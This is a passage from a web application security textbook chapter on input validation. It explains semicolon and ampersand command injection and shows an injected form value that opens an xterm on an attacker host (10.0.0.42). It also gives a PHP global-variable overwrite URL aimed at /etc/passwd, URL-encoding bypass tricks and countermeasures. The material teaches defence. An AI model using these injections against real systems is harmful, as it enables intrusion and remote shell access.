where *command* may be any valid UNIX command. For example, you could download and execute exploit code or use netcat to send a reverse shell. The pipe characters are necessary to create a valid argument for the Perl `open()` function used in the *awstats.pl* file.

The semicolon (%3b) is the easiest character to use for command execution. The semicolon is used to separate multiple commands on a single command line. Thus, this character sometimes tricks UNIX-based scripts. The test is executed by appending the semicolon, followed by the command to run, to the field value. For example,

```
command1; command2; command3
```

The next example demonstrates how modifying an option value in a drop-down menu of a form leads to command execution. Normally, the application expects an eight-digit number when the user selects one of the menu choices in the `arcfiles.html` page. The page itself is not vulnerable, but its HTML form sends POST data to a CGI program named `view.sh`. The “.sh” suffix sets off the input validation alarms, especially command execution, because UNIX shell scripts are about the worst choice possible for a secure CGI program. In the HTML source code displayed in the user’s browser, one of the option values appears as:

```
<option value = "24878478" > Jones Energy Services Co.
```

The form method is POST. We could go through the trouble of setting up a proxy tool like Paros and modify the data before the POST request reaches the server. However, we save the file to our local computer and modify the line to execute an arbitrary command (the attacker’s IP address is 10.0.0.42). Our command of choice is to display a terminal window from the web server onto our own client. Of course, both the client and server must support the X Window System. We craft the command and set the new value in the `arcfiles.html` page we have downloaded on our local computer:

```
<option value = "24878478; xterm -display 10.0.0.42:0.0" >  
Jones Energy Services Co.
```

Next, we open the copy of `arcfiles.html` that’s on our local computer and select “Jones Energy Services Co.” from the drop-down menu. The UNIX-based application receives the eight-digit option value and passes it to the `view.sh` file, but the argument also contains a semicolon. The CGI script, written in a Bourne shell, parses the eight-digit option as normal and moves on to the next command in the string. If everything goes as planned, an `xterm` pops up on the console and you have instant command-line access on the victim.

NOTE

This example also drives home the importance of surveying the application. This input validation attack would have been a waste of time if it were tried against a web server running on Windows 2000. Know your target!

The ampersand character (`%26`) can also be used to execute commands. Normally, this character is used as a delimiter for arguments on the URL. However, with simple URL encoding, they can be submitted as part of the value. Big Brother, a shell-based application for monitoring systems, has had several vulnerabilities. Bugtraq ID 1779 describes arbitrary command execution with the ampersand character. Windows uses the double ampersand (`&&`) as a command separator.

Encoding Abuse

As we noted in Chapter 1, URL syntax is defined in RFC 2396 (see “References and Further Reading” for a link). The RFC also defines numerous ways to encode URL characters so that they appear radically different but mean exactly the same thing. Attackers have

exploited this flexibility frequently over the history of the Web to formulate increasingly sophisticated techniques for bypassing input validation. Table 6-1 lists the most common encoding techniques employed by attackers with some examples.

PHP Global Variables

The overwhelming majority of this chapter presents techniques that are effective against web applications regardless of their programming language or platform. Different application technologies are neither inherently more secure nor less secure than their peers. Inadequate input validation is predominantly an issue that occurs when developers are not aware of the threats to a web application or underestimate how applications are exploited.

Nevertheless, some languages introduce features whose misuse or misunderstanding contributes to an insecure application. PHP has one such feature in its use of *superglobals*. A *superglobal* variable has the highest scope possible and is consequently accessible from any function or class in a PHP file. The four most common *superglobals* variables are `$_GET`, `$_POST`, `$_COOKIE`, and `$_SESSION`. Each of these variables contains an associative array of parameters. For example, the data sent via a form POST are stored as name/value pairs in the `$_POST` variable. It's also possible to create custom *superglobal* variables using the `$GLOBALS` variable.

A *superglobal* variable that is not properly initialized in an application can be overwritten by values sent as a GET or POST parameter. This is true for array values that are expected to come from user-supplied input as well as values not intended for manipulation. For example, a config array variable might have an entry for `root_dir`. If config is registered as a global PHP variable, then it might be possible to attack it with a request that writes a new value:

```
http://website/page.php?config[root_dir]=/etc/passwd%00
```

Encoding Type	Example Encoding	Example Vulnerability
Escaped-encoding (a.k.a. percent-encoding)	%2f (forward slash)	Too many to count
Unicode UTF-8	%co%af (backslash)	IIS Unicode directory traversal
Unicode UTF-7	+ADw- (left angle bracket)	Google XSS November 2005
Multiple encoding	%255c (backslash, %5c)	IIS Double Decode directory traversal

Table 6-1. Common URL Encoding Techniques Used by Attackers

PHP will take the `config[root_dir]` argument and supply the new value—one that was surely not expected to be used in the application.

It's not always easy to determine the name of global variables without access to source code; however, other techniques rely on sending GET parameters via a POST (or vice versa) to see if the submission bypasses an input validation filter.

More information is found at the Hardened PHP Project site, <http://www.hardened-php.net/>. (See specifically http://www.hardened-php.net/advisory_172005.75.html and http://www.hardened-php.net/advisory_202005.79.html.)

Common Side-effects

Input validation attacks do not have to result in application compromise. They help identify platform details from verbose error messages, reveal database schema details for SQL injection exploits, or merely identify whether an application is using adequate input filters.

Verbose Error Messages

This is not a specific type of attack but will be the result of many of the aforementioned attacks. Informational error messages may contain complete path- and filenames, variable names, SQL table descriptions, servlet errors (including which custom and base servlets are in use), database error (ADO errors), or any information about the application.

Common Countermeasures

We've already covered several countermeasures during our discussion of input validation attacks. However, it's important to reiterate several key points to stopping these attacks:

- ▼ *Use client-side validation for performance, not security.* Client-side input validation mechanisms prevent innocent input errors and typos from reaching the server. This pre-emptive validation step can reduce the load on a server by preventing unintentionally bad data from reaching the server. A malicious user can easily bypass client-side validation controls, so they should always be complemented with server-side controls.
- *Normalize input values.* Many attacks have dozens of alternate encodings based on character sets and hexadecimal representation. Input data should be normalized before security and validation checks are applied to them. Otherwise, an encoded payload may pass a filter only to be decoded as a malicious payload at a later step. This step also includes measures taken to canonicalize file- and pathnames.
- *Apply server-side input validation.* All data from the web browser can be modified with arbitrary content. Therefore, proper input validation must be done on the server, where it is not possible to bypass validation functions.

- *Constrain data types.* The application shouldn't even deal with data that don't meet basic type, format, and length requirements. For example, numeric values should be assigned to numeric data structures, string values should be assigned to string data structures. Furthermore, a U.S. ZIP code should not only accept numeric values, but values exactly five-digits long (or the "ZIP plus four" format).
- *Character encoding and "Output Validation".* Characters used in HTML and SQL formatting should be encoded in a manner that will prevent the application from misinterpreting them. For example, present angle brackets in their HTML-encoded form (< and >). This type of output validation or character reformatting serves as an additional layer of security against HTML injection attacks. Even if a malicious payload successfully passes through an input filter, then its effect is negated at the output stage.
- ▲ *White list/Black list.* Use regular expressions to match data for authorized or unauthorized content. White lists contain patterns of acceptable content. Black lists contain patterns of unacceptable or malicious content. It's typically easier (and better advised) to rely on white lists because the set of all malicious content to be blocked is potentially unbounded. Also, you can only create black list patterns for known attacks; new attacks will fly by with impunity. Still, it's a good idea to have a black list of a few malicious constructs like those used in simple SQL injection and cross-site scripting attacks.

TIP

Some characters have four methods of reference (so-called "entity notations"): named, decimal, hexadecimal, and UTF-8 (Unicode), but only the decimal form is reliable across browsers and platforms.

- ▼ *Securely handle errors.* Regardless of what language used to write the application, error handling should follow Java's concept of *try, catch, finally* exception handling. *Try* an action; *catch* specific exceptions that the action may cause; *finally* exit nicely if all else fails. This also entails a generic, polite error page that does not contain any system information.
- *Require authentication.* Configure the server to require proper authentication at the directory level for all files within that directory.
- ▲ *Use least-privilege access.* Run the web server and any supporting applications as an account with the least permissions possible. The risk to an application susceptible to arbitrary command execution but cannot access the `/sbin` directory (where many UNIX administrator tools are stored) is lower than a similar application that can execute commands in the context of the root user.

SUMMARY

Malicious input attacks target parameter values that the application does not adequately parse. Inadequate parsing may be due to indiscriminate acceptance of user-supplied data, reliance on client-side validation filters, or expectation that nonform data will not be manipulated. Once an attacker identifies a vector, then a more serious exploit may follow. Exploits based on poor input validation include buffer overflows, arbitrary file access, social engineering attacks, SQL injection, and command injection. Input validation routines are no small matter and are ignored at the application's peril.

Here are some vectors for discovering inadequate input filters:

- ▼ Each argument of a GET request
- Each argument of a POST request
- Forms (e-mail address, home address, name, comments)
- Search fields
- Cookie values
- ▲ Browser environment values (User agent, IP address, Operating System, etc.)

Additionally, Table 6-2 lists several characters and their URL encoding that quite often represent a malicious payload or otherwise represent some attempt to generate an error or execute a command. These characters alone do not necessarily exploit the application, nor are they always invalid; however, where these characters are not expected by the application then a little patience can turn them into an exploit.

Character	URL Encoding	Comments
'	%27	The mighty tick mark (apostrophe), absolutely necessary for SQL injection, produces informational errors
;	%3b	Command separator, line terminator for scripts
[null]	%00	String terminator for file access, command separator
[return]	%0a	Command separator
+	%2b	Represents [space] on the URL, good in SQL injection
<	%3c	Opening HTML tag
>	%3e	Closing HTML tag

Table 6-2. Popular Characters to Test Input Validation

Character	URL Encoding	Comments
%	%25	Useful for double-decode, search fields, signifies ASP, JSP tag
?	%3f	Signifies PHP tag
=	%3d	Place multiple equal signs in a URL parameter
(%28	SQL injection
)	%29	SQL injection
[space]	%20	Necessary for longer scripts
.	%2e	Directory traversal, file access
/	%2f	Directory traversal

Table 6-2. Popular Characters to Test Input Validation (*continued*)

REFERENCES AND FURTHER READING

Reference	Link
Relevant Vendor Bulletins and Patches	
Internet Information Server Returns IP Address in HTTP Header (Content-Location)	http://support.microsoft.com/directory/article.asp?ID=KB;EN-US;Q218180
HTTP Response Splitting	http://www.watchfire.com/securityzone/library/whitepapers.aspx
XSS Cheat Sheet by RSnake	http://hackers.org/xss.html
URL Encoded Attacks by Gunter Ollmann	http://www.technicalinfo.net/papers/URLEmbeddedAttacks.html
(UTF-7) XSS vulnerabilities in Google.com	http://www.watchfire.com/securityzone/advisories/12-21-05.aspx
Free Tools	
netcat for Windows	
Cygwin	http://www.cygwin.com/
lynx	http://lynx.browser.org/
wget	http://www.gnu.org/directory/wget.html

Reference	Link
<i>General References</i>	
RFC 2396: "Uniform Resource Identifiers (URI): Generic Syntax"	http://www.ietf.org/rfc/rfc2396.txt
HTML 4.01 FORM specification	http://www.w3.org/TR/html401/interact/forms.html
PHP scripting language	http://www.php.net/
ASP.NET scripting language	http://www.asp.net/
Cross-site scripting overview (in French)	http://balteam.multimania.com/Tuts/css.txt
CERT advisory	http://www.cert.org/advisories/CA-2000-02.html
Hotmail XSS vulnerability	http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm